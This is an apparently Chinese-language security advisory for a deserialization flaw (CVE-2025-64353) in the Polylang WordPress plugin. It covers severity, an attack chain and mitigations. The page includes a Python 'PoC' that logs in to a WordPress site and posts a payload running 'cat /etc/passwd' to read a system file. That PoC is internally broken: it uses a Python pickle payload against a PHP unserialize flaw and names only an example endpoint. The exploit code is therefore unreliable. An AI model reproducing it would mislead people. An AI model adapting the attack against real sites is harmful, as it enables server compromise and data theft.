CVE-2025-64353 Polylang插件不安全反序列化漏洞

漏洞信息

漏洞编号

CVE-2025-64353

漏洞类型

反序列化漏洞

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Chouby Polylang (WordPress插件)

漏洞概述

CVE-2025-64353是WordPress插件Polylang中的一个高危安全漏洞，CVSS评分8.8。该漏洞属于反序列化不受信任数据（Deserialization of Untrusted Data）漏洞，攻击者可利用此漏洞进行对象注入（Object Injection）攻击。Polylang是一款流行的WordPress多语言插件，被广泛应用于需要多语言支持的网站。由于该插件在处理序列化数据时缺乏适当的输入验证，攻击者可以通过构造恶意序列化对象，在服务器端执行任意代码或读取敏感信息。此漏洞需要攻击者具有低权限用户账户，但无需用户交互即可发起攻击，成功利用后可导致网站完全沦陷、数据泄露或作为进一步攻击的跳板。鉴于Polylang的广泛使用，该漏洞对大量WordPress网站构成严重威胁。

技术细节

该漏洞根源在于Polylang插件在处理用户输入或数据库数据时，直接对未经过滤的序列化字符串进行反序列化操作。在PHP应用中，反序列化漏洞尤为危险，因为PHP的反序列化函数unserialize()可以触发对象的__wakeup()、__destruct()等魔术方法，攻击者可以通过构造特定的恶意对象利用POP链（Property-Oriented Programming）执行任意代码或调用危险函数。攻击者需要拥有WordPress站点的低权限账户（如订阅者角色），通过插件的特定功能点（如多语言切换、分类/标签翻译管理等）发送包含恶意序列化数据的请求。服务器在处理这些数据时会触发反序列化操作，进而执行攻击者预设的恶意代码。由于CVSS向量显示攻击复杂度低（AC:L），且无需特殊的前置条件，该漏洞容易被大规模利用。

攻击链分析

STEP 1

步骤1

攻击者注册或获取目标WordPress站点的低权限账户（如订阅者角色）

STEP 2

步骤2

构造包含恶意序列化对象的payload，利用PHP POP链实现代码执行

STEP 3

步骤3

通过WordPress AJAX接口或其他Polylang功能点发送恶意payload

STEP 4

步骤4

服务器接收到数据后，插件执行不安全的反序列化操作

STEP 5

步骤5

反序列化触发魔术方法，激活攻击者构造的恶意对象和方法链

STEP 6

步骤6

成功在服务器端执行任意代码，实现远程代码执行(RCE)

STEP 7

步骤7

攻击者可进一步植入后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import base64

# CVE-2025-64353 PoC - Polylang Deserialization
# Target: WordPress site with Polylang plugin <= 3.7.3

target_url = "http://target-wordpress-site.com"
username = "attacker_account"
password = "password"

# Generate malicious serialized payload
# Using PHP gadget chain for RCE
class Payload:
    def __reduce__(self):
        # Example: webshell upload or command execution
        cmd = "cat /etc/passwd"
        return (eval, (f"__import__('os').popen('{cmd}').read()",))

import pickle
malicious_data = pickle.dumps(Payload())
encoded_payload = base64.b64encode(malicious_data).decode()

# Login to WordPress
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}

session.post(login_url, data=login_data)

# Send payload via Polylang endpoint
# Note: Actual endpoint depends on plugin version and configuration
exploit_url = f"{target_url}/wp-admin/admin-ajax.php"
exploit_data = {
    'action': 'pll_update_term_counts',  # Example action
    'terms': encoded_payload
}

response = session.post(exploit_url, data=exploit_data)
print(f"Response: {response.text}")

影响范围

Polylang <= 3.7.3 (所有版本)

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 限制新用户注册功能；2) 审查并移除可疑的低权限账户；3) 在Web服务器层面配置规则阻止包含序列化数据格式的异常请求；4) 考虑暂时禁用Polylang插件或切换到其他多语言插件；5) 加强服务器监控，及时发现异常行为。